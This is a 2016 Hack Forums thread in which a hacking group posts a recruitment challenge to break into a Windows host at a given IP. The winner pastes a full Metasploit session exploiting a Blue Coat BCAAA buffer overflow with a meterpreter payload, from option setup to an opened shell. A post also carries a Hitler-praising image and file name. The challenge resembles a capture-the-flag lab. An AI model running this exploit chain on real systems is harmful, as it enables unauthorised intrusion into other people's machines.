+- Hack Forums (https://hackforums.net)
+-- Forum: Crews and Clans Private Forums (https://hackforums.net/forumdisplay.php?fid=53)
+--- Forum: Group and Crew General Discussions (https://hackforums.net/forumdisplay.php?fid=52)
+--- Thread: Hack into Royalty! [Official Group] #3 (/showthread.php?tid=5483579)
Pages: Pages
1
2
Hack into Royalty! [Official Group] #3 - Cibor - Dec 3, 2016
![[Image: Royalty.gif]](https://imageupload.co.uk/images/2016/11/03/Royalty.gif)
Hello dear HF members!
This is a quick opportunity to join Royalty Group and also to prove your pentesting skills.
I have prepared a special Windows machine with a few open ports, and at least 1 vulnerable service running.
It should be rather easy, since the vulnerability is public.
What you have to do:
- Hack into this machine: 185.62.188.121
- Post in this thread an image which is located on the Desktop.
First person who posts the image wins.
Time start!
![[Image: bottom.jpg]](https://imageupload.co.uk/images/2016/11/03/bottom.jpg)
* - Arixs - Dec 3, 2016
Lets get it going boys, great group to be in.
* - A NEW ERA... - Dec 3, 2016
Something interesting for once. Nice.
* - Egregious Jr. - Dec 3, 2016
I think I've got an idea. Let me try this.
* - Cibor - Dec 3, 2016
(Dec 3, 2016 08:06 PM)Shadow Wrote: I think I've got an idea. Let me try this.
Sharpen your DarkComet and go for it.
* - Fladrif - Dec 4, 2016
![[Image: Hitler_Did_Nothing_Wrong.png]](https://s18.postimg.org/uapamw0nd/Hitler_Did_Nothing_Wrong.png)
meterpreter > ls
Listing: c:\Users\Administrator\Desktop
=======================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 13897 fil 2016-12-04 06:01:32 -0500 HitlerDidNothingWrong.jpg
100666/rw-rw-rw- 282 fil 2016-11-30 00:19:43 -0500 desktop.ini
* - Cibor - Dec 4, 2016
(Dec 4, 2016 03:12 AM)Fladrif Wrote:
meterpreter > ls
Listing: c:\Users\Administrator\Desktop
=======================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 13897 fil 2016-12-04 06:01:32 -0500 HitlerDidNothingWrong.jpg
100666/rw-rw-rw- 282 fil 2016-11-30 00:19:43 -0500 desktop.ini
That's right, you made it 🎉
Congratulations on winning Hack into Royalty #3!
* - Fladrif - Dec 4, 2016
For the curious - my port scan showed up some interesting VNC ports and something listening on 16101+16102 so I messed around with VNC for a while then went googling for what could listen on 16101 as Nessus and nmap and netcat couldnt identify it.
My search came up with bluecoat, so I googled for bluecoat exploits, got https://www.rapid7.com/db/modules/exploit/windows/misc/bcaaa_bof, ran this and the rest is history :)
msf> use exploit/windows/misc/bcaaa_bof
msf exploit(bcaaa_bof) > show options
Module options (exploit/windows/misc/bcaaa_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
ATTEMPTS 3 yes Number of attempts to try to exploit
RHOST yes The target address
RPORT 16102 yes The target port
Exploit target:
Id Name
-- ----
0 BCAAA Version 5.4.6.1.54128
msf exploit(bcaaa_bof) > set rhost 185.62.188.121
rhost => 185.62.188.121
msf exploit(bcaaa_bof) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(bcaaa_bof) > exploit
[*] Started bind handler
[*] Sending request to 185.62.188.121. Attempt #1...
[*] Sending request to 185.62.188.121. Attempt #2...
[*] Sending stage (885806 bytes) to 185.62.188.121
[*] Sending request to 185.62.188.121. Attempt #3...
[*] Meterpreter session 1 opened (x.x.x.x:46203 -> 185.62.188.121:4444) at 2016-12-04 05:09:09 -0500
meterpreter > pwd
C:\Program Files (x86)\Blue Coat Systems\BCAAA
* - Squidward - Dec 4, 2016
where can i learn how to hack like this?
* - SIM-2015410 - Dec 4, 2016
(Dec 4, 2016 03:28 AM)Squidward Wrote: where can i learn how to hack like this?
Hacking Tutorials
* - Prince™ - Dec 4, 2016
Interesting method of recruiting though.
* - Captain Steve Rogers - Dec 4, 2016
(Dec 4, 2016 03:33 AM)MeshCollider Wrote: Hacking Tutorials
How can someone hack with just IP address?
* - Cibor - Dec 4, 2016
(Dec 4, 2016 06:51 AM)#Programmer Wrote: How can someone hack with just IP address?
There are many ways, in this case the candidates were supposed to scan the ports, find out what programs are running, find the port of vulnerable program, and hack it.
* - Malicious Intent - Dec 4, 2016
Damn i missed this one. I was looking forward to the next one of these lol. Congratz to the winner!
* - Egregious Jr. - Dec 4, 2016
I could have figured it out maybe if I had kali installed. It was something to do with the open port 445 I believe, and it is possible to hack with just the IP if that port is open.